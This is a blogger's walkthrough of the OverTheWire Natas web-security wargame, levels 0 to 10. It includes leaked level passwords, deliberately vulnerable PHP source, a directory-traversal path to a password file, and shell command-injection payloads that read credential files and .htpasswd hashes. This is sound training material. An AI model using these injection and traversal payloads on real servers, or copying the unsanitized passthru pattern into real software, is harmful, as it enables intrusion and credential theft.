Natas teaches the basics of serverside web-security.
- Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.
- Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Natas0
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org

I found the password for natas1 in an HTML comment right below the mention that the password can be found "on the page". An expected start for a web challenge series.
Natas1
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL: http://natas1.natas.labs.overthewire.org/
For this challenge, right clicking has been blocked, which means that f12 or ctrl + shift + i to open up the developer tools still works.

Natas2
Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL: http://natas2.natas.labs.overthewire.org/
This challenge shows "There is nothing on this page" on the landing page. This makes me think that the password is in a request header.
Looking at the network requests in the network tab of the developer tools, I noticed a pixel.png
. It's just an image of a pixel, but it's located at /files/pixel.png
.
Accessing /files/
gives the following directory listing

The users.txt
is:
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Natas3
Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL: http://natas3.natas.labs.overthewire.org/

I've made my fair share of CTF challenges to know that this is going to be in the robots.txt
file...
# /robots.txt
User-agent: *
Disallow: /s3cr3t/
Gottem, let's request the s3cr3t
route

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Natas4
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL: http://natas4.natas.labs.overthewire.org/
We're greeted with this page:

This immediately makes me think of the Referer
header. This header can be set to show which web page the browser most recently visited, or referred the user to the current site.

I had to look up how to spell "referer" to make sure that it would be recognized, but it's okay, I'm in Computer Science, not English.


Forgot the Authorization
header :(


Hmmmm still didn't work... After a little thinking I realized that echo will append a newline character to the end of the string to get to the next line in the terminal. This means that the Cg
of the Authorization
is an unneccessary newline character.

The -n
argument to echo won't print out the trailing newline.

Natas5
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL: http://natas5.natas.labs.overthewire.org/

I swear I just logged in...
Checking the network tab again, we did get a 200 response code, so this must just be the challenge.
During my check to the network tab, I noticed that the loggedin
cookie was set to 0

What happens when I set the boolean value to true?


Natas6
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas6.natas.labs.overthewire.org/

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
...snip...</head>
<body>
<h1>natas6</h1>
<div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Visiting /includes/secret.inc
gives us a blank page, but has the secret in an html comment:


Natas7
Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
URL: http://natas7.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<!-- ...snip... -->
<body>
<h1>natas7</h1>
<div id="content">
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
We have an index.php
with a querystring that has a page
parameter
My initial guess is that this is going to send any page / file without any verification or input sanitization.
Let's first request index.php
to see if it will spit out the source code.

Heh, it perpetually requests index.php, that's kinda funny.
Trying to request http://www.google.com

Security side note
Having warnings, or verbose errors in production code might not explicitly be a vulnerability, but it sure helps find one. In this case we are getting the full path to the file, the line number, some server configuration, and the actual command on line 21 that is causing the error.
Back to the challenge
Anyway, we have the path the include
function is searching for files: /var/www/natas/natas7/
and we know that the password is stored in /etc/natas_webpass/natas8
so we can construct a directory traversal attack like so: ../../../../etc/natas_webpass/natas8

Natas8
Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
URL: http://natas8.natas.labs.overthewire.org/
This index is the exact same as the natas6 page
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
...snip...
</head>
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
This has a little more PHP on the backend with the encodeSecret
function, but since we have source, it's pretty easy to see what's going on with a few PHP documentation lookups.
base64_encode
First the parameter $secret
will be base64 encoded, this is self explanatory
strrev
The encoded result will then be reversed using the "string reverse" command.
bin2hex
Finally the binary data (reversed string) will be converted to its hexadecimal representation.
Getting the secret
So going backwards through the process we have to convert the hex to ascii, reverse the string, then base64 decode.
#!/usr/bin/env python3
# natas8.py
from base64 import b64decode
# Readable python to unencode the natas8 secret
# Secret from natas8 view source
encoded_secret = "3d3d516343746d4d6d6c315669563362"
# Convert the secret into a byte array
byte_array = bytearray.fromhex(encoded_secret)
# Unhex the byte array to an ascii string
unhexed_secret = byte_array.decode()
# Reverse the ascii string
reversed_secret = unhexed_secret[::-1]
# Base64 decode the reversed string
decoded_secret = b64decode(reversed_secret)
# Print the final string
print(decoded_secret.decode("utf-8"))
# One liner
print(b64decode(bytearray.fromhex(encoded_secret).decode()[::-1]).decode("utf-8"))


Natas9
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org/

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
...snip...
</head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
At first glance it looks like a command injection, but let me double check the documentation to see what the passthru
command does.
passthru
"Execute an external program and display raw output"
Looks like it functions as I expected, there's a nice warning here
Warning
When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.
I think this might be relevant here...
Back to the challenge!
Since there's no escaping or input sanitization we can put whatever we want into this command (grep -i $key dictionary.txt
)
To break out of the grep command we can enter:
"abcdefg" dictionary.txt; ls; echo end
dictionary.txt
index-source.html
index.php
index.php.tmpl
end dictionary.txt
We can enter any bash command instead of ls
and have it execute.
When looking at the various files, the output is interpreted as php.

This led me on a little tangent to check the php version and other server info with the phpinfo
function. When submitting PHP like so "abcdefg" dictionary.txt; echo "<? phpinfo() ?>"; echo end

The phpinfo ends up commented out, so there is some input validation going on in the back end so a user can't brick the entire server, which is smart.
"abcdefg" dictionary.txt; whoami; ls -alh; pwd; echo end
natas9
total 480K
drwxr-x--- 2 natas9 natas9 4.0K Dec 20 2016 .
drwxr-xr-x 41 root root 4.0K Dec 22 2020 ..
-rw-r----- 1 natas9 natas9 118 Dec 20 2016 .htaccess
-rw-r----- 1 natas9 natas9 126 Oct 20 2018 .htpasswd
-rw-r----- 1 natas9 natas9 451K Dec 15 2016 dictionary.txt
-rw-r----- 1 natas9 natas9 2.0K Dec 20 2016 index-source.html
-rw-r----- 1 natas9 natas9 1.2K Dec 20 2016 index.php
-rw-r----- 1 natas9 natas9 1.2K Dec 15 2016 index.php.tmpl
/var/www/natas/natas9
end dictionary.txt
Catting the .htpasswd
natas9:$1$p1kwO0uc$UgW30vjmwt4x31BP1pWsV.
natas9:$1$H1h4/vhv$sGSIWyboB82roKx9lNLlE/
natas9:$1$G56GGLB5$XS1TpsdfDa8t4tvOx.V660
end dictionary.txt
What is .htpasswd
A way of storing user credentials? Can't add a password to it so nbd
Back to chall
"abcdefg" dictionary.txt; cat /etc/natas_webpass/natas10; echo end

Natas10
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org/
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
preq_match
Looks like a regex match for the characters ';' '|' and '&'...
But they didn't filter out subshells with '`' or '$()'
Back to the challenge
As long as I don't use those special characters, I can execute any bash command
It uses the same grep command as Natas9: grep -i $key dictionary.txt
Using the backtick subshell to create a base64 encoded command (; ls; echo end
) that has illegal characters and write it to /tmp/cmd.txt
, then base64 decode the file:
`echo $(echo OyBsczsgZWNobyBlbmQg > /tmp/cmd.txt) $(base64 -d /tmp/cmd.txt)`
This didn't work for some reason
I then tried to do a reverse shell with nc
, but it just hung. Trying to ping the public facing server resulted in a 100% packet loss. This method isn't going to work this time.
Using Natas9's command injection with no sanitization we can see that the cmd.txt
is being created using ls /tmp
this means that the natas challenges share the /tmp
directory.
We do have write to /tmp/
, so let's just cat the password file into the /tmp/
directory
`cat /etc/natas_webpass/natas11 > /tmp/nolook
`
Then, using Natas9: ; cat /tmp/nolook
gives us the natas11 password
Output: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
I enjoyed thinking my way through Natas10, so I hope Natas11 and onward are also interesting!